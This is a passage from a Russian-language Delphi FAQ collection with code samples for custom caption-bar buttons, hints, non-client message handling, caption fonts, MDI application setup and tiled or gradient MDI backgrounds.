    R := Bounds(Width - xFrame - 4 * xSize + 2,
                       yFrame + 3, xSize - 6, ySize - 7);
    with CaptionBtn do
      Canvas.TextRect(R, R.Left + 2, R.Top - 1, 'W');
  finally
    ReleaseDC(Self.Handle, Canvas.Handle);
    Canvas.Handle := 0;
  end;
end;

procedure TForm1.WMNCPaint(var Msg : TWMNCPaint);
begin
  inherited;
  DrawCaptButton;
end;

procedure TForm1.WMNCActivate(var Msg : TWMNCActivate);
begin
  inherited;
  DrawCaptButton;
end;

procedure TForm1.WMSetText(var Msg : TWMSetText);
begin
  inherited;
  DrawCaptButton;
end;

procedure TForm1.WMNCHitTest(var Msg : TWMNCHitTest);
begin
  inherited;
  with Msg do
    if PtInRect(CaptionBtn, Point(XPos - Left, YPos - Top)) then
      Result := htCaptionBtn;
end;

procedure TForm1.WMNCLButtonDown(var Msg : TWMNCLButtonDown);
begin
  inherited;
  if (Msg.HitTest = htCaptionBtn) then
    ShowMessage('You hit the button on the caption bar');
end;

procedure TForm1.FormResize(Sender: TObject);
begin
  //Force a redraw of caption bar if form is resized
  Perform(WM_NCACTIVATE, Word(Active), 0);
end;

end.

Источник: http://dmitry9.nm.ru/info/

Автор: Tercio Ferdinando Gaudencio Filho

Приведённый здесь код создаёт кнопку в заголовке окна, создаёт MenuItem в системном меню и создаёт подсказку(Hint) в кнопке. Поместите код в Ваш Unit и замените "FrmMainForm" на Ваше имя формы, а так же некоторые кусочки кода, ткст подсказки и т.д.

Совместимость: Delphi 3.x (или выше)

...

  private
    { Private declarations }
    procedure WMNCPAINT          (var msg: Tmessage); message WM_NCPAINT;
    procedure WMNCACTIVATE       (var msg: Tmessage); message WM_NCACTIVATE;
    procedure WMNCMOUSEDOWN      (var msg: Tmessage); message WM_NCLBUTTONDOWN;
    procedure WMNCMOUSEMOVE      (var Msg: TMessage); message WM_NCMOUSEMOVE;
    procedure WMMOUSEMOVE        (var Msg: TMessage); message WM_MOUSEMOVE;
    procedure WMLBUTTONUP        (var msg: Tmessage); message WM_LBUTTONUP;
    procedure WNCLBUTTONDBLCLICK (var msg: Tmessage); message WM_NCLBUTTONDBLCLK;
    procedure WMNCRBUTTONDOWN    (var msg: Tmessage); message WM_NCRBUTTONDOWN;
    procedure WMNCHITTEST        (var msg: Tmessage); message WM_NCHITTEST;
    procedure WMSYSCOMMAND       (var msg: Tmessage); message WM_SYSCOMMAND;

...

var
...
  Pressed         : Boolean;
  FocusLost       : Boolean;
  Rec             : TRect;
  NovoMenuHandle  : THandle;
  PT1             : TPoint;
  FHintshow       : Boolean;
  FHint           : THintWindow;
  FHintText       : String;
  FHintWidth      : Integer;

...

//------------------------------------------------------------------------------

procedure TFrmMainForm.WMSYSCOMMAND(var Msg: TMessage);
begin
  if Msg.WParam=LongInt(NovoMenuHandle) then
    //*********************************************
    //Кнопка была нажата! Добавьте сюда Вашу функцию
    //*********************************************
  inherited;
end;

//------------------------------------------------------------------------------

procedure TFrmMainForm.WMNCHITTEST(var Msg: TMessage);
var
  Tmp : Boolean;
begin
  if Pressed then
  begin
    Tmp:=FocusLost;
    PT1.X := Msg.LParamLo - FrmMainForm.Left;
    PT1.Y := Msg.LParamHi - FrmMainForm.Top ;
    if PTInRect(Rec, PT1) then
      FocusLost := False
    else
      FocusLost := True;
    if FocusLost <> Tmp then
      InvalidateRect(FrmMainForm.Handle, @Rec, True);
  end;
  inherited;
end;

//------------------------------------------------------------------------------

procedure TFrmMainForm.WMLBUTTONUP(var Msg: TMessage);
var
  Tmp : Boolean;
begin
  ReleaseCapture;
  Tmp     := Pressed;
  Pressed := False;
  if Tmp and PTInRect(Rec, PT1) then
  begin
    InvalidateRect(FrmMainForm.Handle, @Rec, True);
    FHintShow := False;
    FHint.ReleaseHandle;
    //*********************************************
    //Кнопка была нажата! Добавьте сюда Вашу функцию
    //*********************************************
  end
  else
    inherited;
end;

//------------------------------------------------------------------------------

procedure TFrmMainForm.WNCLBUTTONDBLCLICK(var Msg: TMessage);
begin
  PT1.X := Msg.LParamLo - FrmMainForm.Left;
  PT1.Y := Msg.LParamHi - FrmMainForm.Top ;
  if not PTInRect(Rec, PT1) then
    inherited;
end;

//------------------------------------------------------------------------------

procedure TFrmMainForm.WMNCRBUTTONDOWN(var Msg: TMessage);
begin
  PT1.X := Msg.LParamLo - FrmMainForm.Left;
  PT1.Y := Msg.LParamHi - FrmMainForm.Top ;
  if not PTInRect(Rec, PT1) then
    inherited;
end;

//------------------------------------------------------------------------------

procedure TFrmMainForm.WMNCMOUSEDOWN(var Msg: TMessage);
begin
  PT1.X := Msg.LParamLo - FrmMainForm.Left;
  PT1.Y := Msg.LParamHi - FrmMainForm.Top ;
  FHintShow := False;
  if PTInRect(Rec, PT1) then
  begin
   Pressed   := True;
   FocusLost := False;
   InvalidateRect(FrmMainForm.Handle, @Rec, True);
   SetCapture(TWinControl(FrmMainForm).Handle);
  end
  else
  begin
   FrmMainForm.Paint;
   inherited;
  end;
end;

//------------------------------------------------------------------------------

//That function Create a Hint
procedure TFrmMainForm.WMNCMOUSEMOVE(var Msg: TMessage);
begin
  PT1.X := Msg.LParamLo - FrmMainForm.Left;
  PT1.Y := Msg.LParamHi - FrmMainForm.Top ;
  if PTInRect(Rec, PT1) then
  begin
    FHintWidth  := FHint.Canvas.TextWidth(FHintText);
    if (FHintShow = False) and (Length(Trim(FHintText)) <> 0) then
      FHint.ActivateHint(
        Rect(
          Mouse.CursorPos.X,
          Mouse.CursorPos.Y + 20,
          Mouse.CursorPos.X + FHintWidth + 10,
          Mouse.CursorPos.Y + 35
          ),
        FHintText
      );
      FHintShow := True;
  end
  else
  begin
    FHintShow := False;
    FHint.ReleaseHandle;
  end;
end;

//------------------------------------------------------------------------------

procedure TFrmMainForm.WMMOUSEMOVE(var Msg: TMessage);
begin
  FHintShow := False;
  FHint.ReleaseHandle;
end;

//------------------------------------------------------------------------------

procedure TFrmMainForm.WMNCACTIVATE(var Msg: TMessage);
begin
  InvalidateRect(FrmMainForm.Handle, @Rec, True);
  inherited;
end;

//------------------------------------------------------------------------------

procedure TFrmMainForm.WMNCPAINT(var Msg: TMessage);
begin
  InvalidateRect(FrmMainForm.Handle, @Rec, True);
  inherited;
end;

//------------------------------------------------------------------------------

procedure TFrmMainForm.FormPaint(Sender:TObject);
var
  Border3D_Y, Border_Thickness, Btn_Width,
  Button_Width, Button_Height  : Integer;
  MyCanvas                      : TCanvas;
begin
  MyCanvas        := TCanvas.Create;
  MyCanvas.Handle := GetWindowDC(FrmMainForm.Handle);
  Border3D_Y      := GetSystemMetrics(SM_CYEDGE);
  Border_Thickness:= GetSystemMetrics(SM_CYSIZEFRAME);
  Button_Width    := GetSystemMetrics(SM_CXSIZE);
  Button_Height   := GetSystemMetrics(SM_CYSIZE);

  //Создаём квадратную кнопку, но если Вы захотите создать кнопку другого размера, то
  //измените эту переменную на Вашу ширину.
  Btn_Width  := Border3D_Y  + Border_Thickness + Button_Height - (2 * Border3D_Y) - 1;

  Rec.Left   := FrmMainForm.Width - (3 * Button_Width + Btn_Width);
  Rec.Right  := FrmMainForm.Width - (3 * Button_Width + 03);
  Rec.Top    := Border3D_Y  + Border_Thickness - 1;
  Rec.Bottom := Rec.Top     + Button_Height - (2 * Border3D_Y);
  FillRect(MyCanvas.Handle,Rec,HBRUSH(COLOR_BTNFACE+1));
  If not Pressed or Focuslost Then
    DrawEdge(MyCanvas.Handle, Rec, EDGE_RAISED, BF_SOFT or BF_RECT)
  Else If Pressed and Not Focuslost Then
    DrawEdge(MyCanvas.Handle, Rec, EDGE_SUNKEN, BF_SOFT or BF_RECT);

  //It draw a the application icon to the button. Easy to change.
  DrawIconEX(MyCanvas.Handle, Rec.Left+4, Rec.Top+3, Application.Icon, 8, 8, 0, 0, DI_NORMAL);

  MyCanvas.Free;
end;

...

procedure TFrmMainForm.FormCreate(Sender: TObject);

...

  InsertMenu(GetSystemMenu(Handle,False), 4, MF_BYPOSITION+MF_STRING, NovoMenuHandle,pchar('TEXT OF THE MENU'));
  Rec             := Rect(0,0,0,0);
  FHintText       := 'Put the text of your Hint HERE';
  FHint           := THintWindow.Create(Self);
  FHint.Color     := clInfoBk;  //Вы можете изменить бэкграунд подсказки

...

Взято из http://forum.sources.ru


Как перехватить события в неклиентской области формы?

Создайте обработчик одного из сообщений WM_NC (non client - не клиентских) (посмотрите
WM_NC в Windows API help). Пример показывает как перехватить вижение мыши во всей
неклиенстской области окна (рамка и заголовок).

Пример:

unit Unit1;

interface

uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;

type
TForm1 = class(TForm)
private
   {Private declarations}
   procedure WMNCMOUSEMOVE(var Message: TMessage);
   message WM_NCMOUSEMOVE;
public
   {Public declarations}
end;

var
   Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMNCMOUSEMOVE(var Message: TMessage);
var
   s : string;
begin
   case Message.wParam of
      HTERROR:
         s:= 'HTERROR';
      HTTRANSPARENT:
         s:= 'HTTRANSPARENT';
      HTNOWHERE:
         s:= 'HTNOWHERE';
      HTCLIENT:
         s:= 'HTCLIENT';
      HTCAPTION:
         s:= 'HTCAPTION';
      HTSYSMENU:
         s:= 'HTSYSMENU';
      HTSIZE:
         s:= 'HTSIZE';
      HTMENU:
         s:= 'HTMENU';
      HTHSCROLL:
         s:= 'HTHSCROLL';
      HTVSCROLL:
         s:= 'HTVSCROLL';
      HTMINBUTTON:
         s:= 'HTMINBUTTON';
      HTMAXBUTTON:
         s:= 'HTMAXBUTTON';
      HTLEFT:
         s:= 'HTLEFT';
      HTRIGHT:
         s:= 'HTRIGHT';
      HTTOP:
         s := 'HTTOP';
      HTTOPLEFT:
         s:= 'HTTOPLEFT';
      HTTOPRIGHT:
         s:= 'HTTOPRIGHT';
      HTBOTTOM:
         s:= 'HTBOTTOM';
      HTBOTTOMLEFT:
         s:= 'HTBOTTOMLEFT';
      HTBOTTOMRIGHT:
         s:= 'HTBOTTOMRIGHT';
      HTBORDER:
         s:= 'HTBORDER';
      HTOBJECT:
         s:= 'HTOBJECT';
      HTCLOSE:
         s:= 'HTCLOSE';
      HTHELP:
         s:= 'HTHELP';
      else s:= '';
   end;
   Form1.Caption := s;
   Message.Result := 0;
end;

end.

Взято из
DELPHI VCL FAQ Перевод с английского
Подборку, перевод и адаптацию материала подготовил Aziz(JINX)
специально для Королевства Дельфи


Как изменить шрифт и выравнивание в заголовке формы?

Note: The formDeactivate never gets called so when the form isn't active, sometimes the FormPaint isn't called. If anything causes the form to be repainted while in inactive, it draws correctly.

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
  TForm1 = class(TForm)
    procedure FormPaint(Sender: TObject);
    procedure FormResize(Sender: TObject);
    procedure FormDeactivate(Sender: TObject);
    procedure FormActivate(Sender: TObject);
  private
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormPaint(Sender: TObject);
var
  LabelHeight, LabelWidth, LabelTop: Integer;
  caption_height, border3d_y, button_width, border_thickness: Integer;
  MyCanvas: TCanvas;
  CaptionBarRect: TRect;
begin
  CaptionBarRect := Rect(0, 0, 0, 0);
  MyCanvas := TCanvas.Create;
  MyCanvas.Handle := GetWindowDC(Form1.Handle);
  border3d_y := GetSystemMetrics(SM_CYEDGE);
  button_width := GetSystemMetrics(SM_CXSIZE);
  border_thickness := GetSystemMetrics(SM_CYSIZEFRAME);
  caption_height := GetSystemMetrics(SM_CYCAPTION);
  LabelWidth := Form1.Canvas.TextWidth(Form1.Caption);
  LabelHeight := Form1.Canvas.TextHeight(Form1.Caption);
  LabelTop := LabelHeight - (caption_height div 2);
  CaptionBarRect.Left := border_thickness + border3d_y + button_width;
  CaptionBarRect.Right := Form1.Width - (border_thickness + border3d_y)
      - (button_width * 4);
  CaptionBarRect.Top := border_thickness + border3d_y;
  CaptionBarRect.Bottom := caption_height;
  if Form1.Active then
    MyCanvas.Brush.Color := clActiveCaption
  else
    MyCanvas.Brush.Color := clInActiveCaption;
  MyCanvas.Brush.Style := bsSolid;
  MyCanvas.FillRect(CaptionBarRect);
  MyCanvas.Brush.Style := bsClear;
  MyCanvas.Font.Color := clCaptionText;
  MyCanvas.Font.Name := 'MS Sans Serif';
  MyCanvas.Font.Style := MyCanvas.Font.Style + [fsBold];
  DrawText(MyCanvas.Handle, PChar(' ' + Form1.Caption), Length(Form1.Caption) + 1,
    CaptionBarRect, DT_CENTER or DT_SINGLELINE or DT_VCENTER);
  MyCanvas.Free;
end;

procedure TForm1.FormResize(Sender: TObject);
begin
  Form1.Paint;
end;

procedure TForm1.FormDeactivate(Sender: TObject);
begin
  Form1.Paint;
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
  Form1.Paint;
end;

end.

{ ... }
type
  TForm1 = class(TForm)
  private
    procedure WMNCPaint(var Msg: TWMNCPaint); message WM_NCPAINT;
  public
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.WMNCPaint(var Msg: TWMNCPaint);
var
  ACanvas: TCanvas;
begin
  inherited;
  ACanvas := TCanvas.Create;
  try
    ACanvas.Handle := GetWindowDC(Form1.Handle);
    with ACanvas do
    begin
      Brush.Color := clActiveCaption;
      Font.Name := 'Tahoma';
      Font.Size := 8;
      Font.Color := clred;
      Font.Style := [fsItalic, fsBold];
      TextOut(GetSystemMetrics(SM_CYMENU) + GetSystemMetrics(SM_CXBORDER),
        Round((GetSystemMetrics(SM_CYCAPTION) - Abs(Font.Height)) / 2) + 1,
          ' Some Text');
    end;
  finally
    ReleaseDC(Form1.Handle, ACanvas.Handle);
    ACanvas.Free;
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


MDI приложения

Cодержание раздела:

Разработка MDI приложений в Delphi
Как убрать заголовок в дочерней форме MDI?
Фон MDI-окон Updated!
Почему MDI Child форма при закрывании просто минимизируется Сколько открыто дочерних окон?
Открытие MDI-окон определенного размера
Проблема всплывающих подсказок в дочерних MDI-формах
Меню дочерних MDI-форм
Позиция дочерних MDI-окон
Как сделать MDI-приложение, где сливаются меню дочернего и главного окна, и полосы инструментов
Придание MDI-формам большей трехмерности
Модуль данных для каждого MDIChild
Как спрятать окна MDI Child New!
Избавление от скролов в MDI форме New!


Разработка MDI приложений в Delphi

перевод одноимённой статьи с delphi.about.com)

Что такое MDI?
MDI расшифровывается как multiple document interface (многодокументный интерфейс). В приложениях с MDI, в основном (родительском) окне можно окрыть более одного дочернего окна. Данная возможность обычно используется в электронных таблицах или текстовых редакторах.

Каждое MDI приложение имеет три основные составляющие:
Одну (и только одну) родительскую форму MDI, Одну и более (обычно больше) дочерних форм MDI, и основное меню MDI.

MDI "мать"
Как уже упоминалось, в проекте MDI приложения может присутствовать только один MDI контейнер (родительская форма) и он должен быть стартовой формой.
Для создания основного окна MDI приложения проделайте следующие шаги:

Запустите Delphi и выберите File | New Application... Delphi создаст новый проект с одной формой под названием form1 (по умолчанию).
В свойстве Name присвойте форме имя frMain.
Установите свойство FormStyle в fsMDIform.
Сохраните этот проект (имя проекта на Ваше усмотрение, например prMDIExample), вместе с uMain.pas в только что созданной директории.
Как Вы успели заметить, для создания основной формы MDI, мы установили свойство FormStyle в fsMDIform. В каждом приложении только одна форма может иметь свойство fsMDIform.

MDI "дети"
Каждое родительское окно MDI нуждается по крайней мере в одной дочерней форме. Дочерние формы MDI - это простые формы, за исключением того, что их видимая часть ограничена размерами родительского окна. Так же при минимизации такого окна, оно помещается не в панель задач, а остаётся внутри родительского окна ( на панель задач попадёт только родительское окно).

Теперь давайте создадим дополнительные формы, а точнее дочерние. Просто выберите File | New Form. Будет создан новый объект формы с именем form1 (по умолчанию). При помощи Object Inspector измените свойство Name в форме form1 на frChild, а свойство FormStyle на fsMDIChild. Сохраните эту форму с соответствующим ей файлом как uchild.pas. Обратите внимание, что при помощи данного свойства мы можем превратить любую существующую форму в дочернюю форму MDI.
Ваше приложение может включать множество дочерних MDI форм такого же или другого типа.

Так же хочется обратить Ваше внимание, что MDI приложение может включать в себя и самые обычные формы, но в отличие от дочерних, они будут отображаться как обычные модальные диалоговые окна (такие как about box, или файловый диалог).

Естевственно, что как на родительском так и на дочернем окнах можно располагать любые элементы управления, однако уже давно сложилась традиция, что на родительской форме располагается панель статуса (status bar) и панель инструментов (toolbar), в то время как на дочерних формах располагаются все остальные контролы, такие как гриды, картинки, поля вводи и т. д.

Автосодание -> Доступные
Теперь давайте произведём некоторые настройки нашего проекта. Выберите Project | Options, откроется диалог опций проекта (Project Options). В левой панели выберите frChild (Авто-создание форм ("Auto-create forms")), и переместите её в правую панель (Доступные формы (Available forms)). Список правой панели содержит те формы, которые используются Вашим приложением, но которые не созданы автоматически. В MDI приложении, по умолчанию, все дочерние формы создаются автоматически и отображаются в родительской форме.

Создание и отображение...
Как упомянуто выше, настройка не позволяет автоматически создавать дочерние окна, поэтому нам необходимо добавить некоторый код, который будет производить создание объекта формы frChild. Следующую функцию CreateChildForm необходимо поместить внутри основной формы (MDI родитель) (наряду с заголовком в interface's private):

uses uchild;
...
procedure TfrMain.CreateChildForm
         (const childName : string);
  var Child: TfrChild;
begin
  Child := TfrChild.Create(Application);
  Child.Caption := childName;
end;

Данный код создаёт одну дочернюю форму с заголовком childName.
Не забудьте, что этот код находится разделе "uses uchild".

На закрытие не минимизировать!
Закрытие дочернего окна в MDI приложении всего навсего минимизирует его в клиентской области родительского окна. Поэтому мы должны обеспечить процедуру OnClose, и установить параметр Action в caFree:

procedure TfrChild.FormClose
      (Sender: TObject; var Action: TCloseAction);
begin
 Action := caFree;
end;

Обратите внимание, что если форма является дочерней формой MDI, и её свойство BorderIcons установлено в biMinimize (по умолчанию), то опять же по умолчанию параметр Action установлен в caMinimize. Если же в дочерней форме MDI нет этих установок, то по умолчанию Action установлен как caNone, означающий, что при закрытии формы ничего не случится.

MDI родительское меню
Каждое MDI приложение должно иметь основное меню с (если больше ничего нет), опцией выравнивания окон. Поскольку мы предварительно переместили дочернюю форму из Авто-создаваемых (Auto-create) в Доступные (Available) формы, то нам нужен будет код, который (пункт меню) будет создавать дочерние формы.

Для создания дочерних окон в нашем приложении будет использоваться пункт меню "New child". Второе меню (Window) будет использоваться для выравнивания дочерних окошек внутри родительского окна-формы.

...Создать и отобразить
В заключении нам необходимо сделать обработчик для пункта меню "New child". При нажатии на пунк меню File | New Child нашего приложения, будет вызываться процедура NewChild1Click которая в свою очередь будет вызывать процедуру CreateChildForm (приведённую выше), для создания (следующего) экземпляра формы frChild.

procedure TfrMain.NewChild1Click(Sender: TObject);
begin
 CreateChildForm('Child '+IntToStr(MDIChildCount+1));
end;

Только что созданная дочерняя форма будет иметь заголовок в виде "Child x", где x представляет количество дочерних форм внутри MDI формы, как описано ниже.

Закрыть всё
При работе с приложением, имеющим многодокументный интерфейс, всегда необходимо иметь процедуру, закрывающую все дочерние окна.

procedure TfrMain.CloseAll1Click(Sender: TObject);
var i: integer;
begin
  for i:= 0 to MdiChildCount - 1 do
    MDIChildren[i].Close;
end;

Вам прийдётся выполнять проверку на предмет наличия несохранённой информации в каждом дочернем окне. Для решения данной задачи лучше всего использовать обработчик события OnCloseQuery.

Свойства MdiChildCount и MDIChildren
MdiChildCount свойство read only, содержащее в себе количество созданных дочерних окошек. Если не создано ни одно дочернее окно, то это свойство установлено в 0. Нам прийдётся частенько использовать MdiChildCount наряду с массивом MDIChildren. Массив MDIChildren содержит ссылки на объекты TForm всех дочерних окошек.

Обратите внимание, что MDIChildCount первого созданного дочернего окна равен 1.

Меню Window
Delphi обеспечивает большинство команд, которые можно поместить внутри пункта меню Window. Далее приведён пример вызова трёх основных методов для команд, которые мы поместили в наше приложение:

procedure TfrMain.Cascade1Click(Sender: TObject);
begin
  Cascade;
end;

procedure TfrMain.Tile1Click(Sender: TObject);
begin
  Tile;
end;

procedure TfrMain.ArrangeAll1Click(Sender: TObject);
begin
  ArrangeIcons;
end;

Взято из http://forum.sources.ru


Как убрать заголовок в дочерней форме MDI?

Если в дочерней форме MDI установить BorderStyle в bsNone, то заголовок формы не исчезнет. (Об этом сказано в хелпе). А вот следующий пример решает эту проблему:

type
  ... = class(TForm)
{ other stuff above }
    procedure CreateParams(var Params: TCreateParams); override;
{ other stuff below }
  end;

  ...

procedure tMdiChildForm.CreateParams(var Params: tCreateParams);
begin
  inherited CreateParams(Params);
  Params.Style := Params.Style and (not WS_CAPTION);
end;

Взято из http://forum.sources.ru

type
  TForm2 = class(TForm)
    { другой код выше }
    procedure CreateParams(var Params: TCreateParams); override;
    { другой код ниже }
  end;

procedure TForm2.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  Params.Style := Params.Style and not WS_OVERLAPPEDWINDOW or WS_BORDER
end;

Взято с http://delphiworld.narod.ru


Фон MDI-окон

Привожу код, который может оказаться полезным. Он позволяет в обычной или MDI-форме создать графический tile-фон или градиентную заливку.

(Tile - "секция, плитка" - непрерывное заполнение определенной области немасштабируемым изображением слева-направо сверху вниз - В.О.)

Самая сложная часть кода осуществляет обработку системного сообщения, адресуемого дескриптору окна (ClientHandle), осуществляющему управление дочерними формами. Происходит это в момент вывода изображений в MDI-форме. Все что вам необходимо сделать - в режиме проектирования загрузить в imgTile необходимые изображения и перенести в свою программу следующий код:

unit UMain;

interface

uses
  Windows, Messages, Classes, SysUtils, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, Menus;

type
  TfrmMain = class(TForm)
    mnuMain: TMainMenu;
    mnuFile: TMenuItem;
    mnuExit: TMenuItem;
    imgTile: TImage;
    mnuOptions: TMenuItem;
    mnuBitmap: TMenuItem;
    mnuGradient: TMenuItem;
    procedure mnuExitClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure mnuBitmapClick(Sender: TObject);
    procedure mnuGradientClick(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure FormResize(Sender: TObject);
    procedure FormPaint(Sender: TObject);
  private
    { Private declarations }
    MDIDefProc: pointer;
    MDIInstance: TFarProc;
    procedure MDIWndProc(var prmMsg: TMessage);
    procedure CreateWnd; override;
    procedure ShowBitmap(prmDC: hDC);
    procedure ShowGradient(prmDC: hDC; prmRed, prmGreen, prmBlue: byte);
  public
    { Public declarations }
  end;

var

  frmMain: TfrmMain;
  glbImgWidth: integer;
  glbImgHeight: integer;

implementation

{$R *.DFM}

procedure TfrmMain.FormCreate(Sender: TObject);
begin

  glbImgHeight := imgTile.Picture.Height;
  glbImgWidth := imgTile.Picture.Width;
end;

procedure TfrmMain.FormResize(Sender: TObject);
begin

  FormPaint(Sender);
end;

procedure TfrmMain.MDIWndProc(var prmMsg: TMessage);
begin

  with prmMsg do
  begin
    if Msg = WM_ERASEBKGND then
    begin
      if mnuBitmap.Checked then
        ShowBitmap(wParam)
      else
        ShowGradient(wParam, 255, 0, 0);
      Result := 1;
    end
    else
      Result := CallWindowProc(MDIDefProc, ClientHandle, Msg, wParam, lParam);
  end;
end;

procedure TfrmMain.CreateWnd;
begin

  inherited CreateWnd;
  MDIInstance := MakeObjectInstance(MDIWndProc); { создаем ObjectInstance }
  MDIDefProc := pointer(SetWindowLong(ClientHandle, GWL_WNDPROC,
    longint(MDIInstance)));
end;

procedure TfrmMain.FormCloseQuery(Sender: TObject; var CanClose:
  Boolean);
begin

  { восстанавоиваем proc окна по умолчанию }
  SetWindowLong(ClientHandle, GWL_WNDPROC, longint(MDIDefProc));
  { избавляемся от ObjectInstance }
  FreeObjectInstance(MDIInstance);
end;

procedure TfrmMain.mnuExitClick(Sender: TObject);
begin

  close;
end;

procedure TfrmMain.mnuBitmapClick(Sender: TObject);

var
  wrkDC: hDC;
begin

  wrkDC := GetDC(ClientHandle);
  ShowBitmap(wrkDC);
  ReleaseDC(ClientHandle, wrkDC);
  mnuBitmap.Checked := true;
  mnuGradient.Checked := false;
end;

procedure TfrmMain.mnuGradientClick(Sender: TObject);
var
  wrkDC: hDC;
begin
  wrkDC := GetDC(ClientHandle);
  ShowGradient(wrkDC, 0, 0, 255);
  ReleaseDC(ClientHandle, wrkDC);
  mnuGradient.Checked := true;
  mnuBitMap.Checked := false;
end;

procedure TfrmMain.ShowBitmap(prmDC: hDC);
var
  wrkSource: TRect;
  wrkTarget: TRect;
  wrkX: integer;
  wrkY: integer;
begin
  { заполняем (tile) окно изображением }
  if FormStyle = fsNormal then
  begin
    wrkY := 0;
    while wrkY < ClientHeight do { заполняем сверху вниз.. }
    begin
      wrkX := 0;
      while wrkX < ClientWidth do { ..и слева направо. }
      begin
        Canvas.Draw(wrkX, wrkY, imgTile.Picture.Bitmap);
        Inc(wrkX, glbImgWidth);
      end;
      Inc(wrkY, glbImgHeight);
    end;
  end
  else if FormStyle = fsMDIForm then
  begin
    Windows.GetClientRect(ClientHandle, wrkTarget);
    wrkY := 0;
    while wrkY < wrkTarget.Bottom do
    begin
      wrkX := 0;
      while wrkX < wrkTarget.Right do
      begin
        BitBlt(longint(prmDC), wrkX, wrkY, imgTile.Width, imgTile.Height,
          imgTile.Canvas.Handle, 0, 0, SRCCOPY);
        Inc(wrkX, glbImgWidth);
      end;
      Inc(wrkY, glbImgHeight);
    end;
  end;
end;

procedure TfrmMain.ShowGradient(prmDC: hDC; prmRed, prmGreen, prmBlue: byte);
var
  wrkBrushNew: hBrush;
  wrkBrushOld: hBrush;
  wrkColor: TColor;
  wrkCount: integer;
  wrkDelta: integer;
  wrkRect: TRect;
  wrkSize: integer;
  wrkY: integer;
begin
  { процедура заполнения градиентной заливкой }
  wrkDelta := 255 div (1 + ClientHeight); { желаемое количество оттенков }
  if wrkDelta = 0 then
    wrkDelta := 1; { да, обычно 1 }
  wrkSize := ClientHeight div 240; { размер смешанных баров }
  if wrkSize = 0 then
    wrkSize := 1;
  for wrkY := 0 to 1 + (ClientHeight div wrkSize) do
  begin
    wrkColor := RGB(prmRed, prmGreen, prmBlue);
    wrkRect := Rect(0, wrkY * wrkSize, ClientWidth, (wrkY + 1) * wrkSize);
    if FormStyle = fsNormal then
    begin
      Canvas.Brush.Color := wrkColor;
      Canvas.FillRect(wrkRect);
    end
    else if FormStyle = fsMDIForm then
    begin
      wrkBrushNew := CreateSolidBrush(wrkColor);
      wrkBrushOld := SelectObject(prmDC, wrkBrushNew);
      FillRect(prmDC, wrkRect, wrkBrushNew);
      SelectObject(prmDC, wrkBrushOld);
      DeleteObject(wrkBrushNew);
    end;
    if prmRed > wrkDelta then
      Dec(prmRed, wrkDelta);
    if prmGreen > wrkDelta then
      Dec(prmGreen, wrkDelta);
    if prmBlue > wrkDelta then
      Dec(prmBlue, wrkDelta);
  end;
end;

procedure TfrmMain.FormPaint(Sender: TObject);
begin
  if FormStyle = fsNormal then
    if mnuBitMap.Checked then
      mnuBitMapClick(Sender)
    else
      mnuGradientClick(Sender);
end;

end.

Сначала установите свойство формы FormStyle в fsMDIForm.
Затем разместите Image на форме и загрузите в него картинку.
Найдите { Private Declarations } в обьявлении формы и добаьте следующие строки:

FClientInstance: TFarProc;
FPrevClientProc: TFarProc;
procedure ClientWndProc(var message: TMessage);

Добавьте следующие строки в разделе implementation:

procedure TMainForm.ClientWndProc(var message: TMessage);
var
  Dc: hDC;
  Row: Integer;
  Col: Integer;
begin
  with message do
    case Msg of
      WM_ERASEBKGND:
      begin
        Dc := TWMEraseBkGnd(message).Dc;
        for Row := 0 to ClientHeight div Image1.Picture.Height do
          for Col := 0 to ClientWidth div Image1.Picture.Width do
            BitBlt(Dc, Col * Image1.Picture.Width, Row *
            Image1.Picture.Height, Image1.Picture.Width,
            Image1.Picture.Height, Image1.Picture.Bitmap.Canvas.Handle,
            0, 0, SRCCOPY);
        Result := 1;
      end;
      else
        Result := CallWindowProc(FPrevClientProc,
        ClientHandle, Msg, wParam, lParam);
    end;
end;

По созданию окна [событие OnCreate()] напишите такой код:

FClientInstance := MakeObjectInstance(ClientWndProc);
FPrevClientProc := Pointer(GetWindowLong(ClientHandle, GWL_WNDPROC));
SetWindowLong(ClientHandle, GWL_WNDPROC, LongInt(FClientInstance));

Добавьте к проекту новую форму и установите ее свойство FormStyle в fsMDIChild

Взято с http://delphiworld.narod.ru

procedure TForm.OnPaint(Sender: TObject);

  procedure Tile(c: TCanvas; b: TBitMap);
  var
    x, y, h, w, i, j: integer;
  begin
    with b do
    begin
      h := b.height;
      w := b.width;
    end;
    y := 0;
    with c.Cliprect do
    begin
      i := bottom - top - 1; //высота
      j := right - left - 1; //ширина
    end;
    while y < i do
    begin
      x := 0;
      while x < j do
      begin
        c.draw(x, y, b);
        inc(x, w);
      end;
      inc(y, h);
    end;
  end;

begin
  if Sender is TForm then
    Tile(TForm(Sender).Canvas, fTileWith);
end;

Взято с http://delphiworld.narod.ru

Несколько людей уже спрашивали, как залить фон главной MDI-формы повторяющимся изображением. Ключевым моментом здесь является работа с дескриптором окна MDI-клиента (свойство ClientHandle) и заполнение изображением окно клиента в ответ на сообщение WM_ERASEBKGND. Тем не менее здесь существует пара проблем: прокрутка главного окна и перемещение дочернего MDI-окна за пределы экрана портят фон, и закрашивание за иконками дочерних окон не происходит.

Ну наконец-то! Похоже я нашел как решить обе проблемы. Вот код для тех, кому все это интересно. Я начинаю с проблемы дочерних форм, ниже код для решения проблемы с главной формой (модули с именами MDIWAL2U.PAS и MDIWAL1U.PAS). На главной форме расположен компонент TImage с именем Image1, содержащий изображение для заливки фона.

...
private
{ Private declarations }

procedure WMIconEraseBkgnd(var Message: TWMIconEraseBkgnd);
  message WM_ICONERASEBKGND;
...

USES MdiWal1u;

procedure TForm2.WMIconEraseBkgnd(var Message: TWMIconEraseBkgnd);
begin
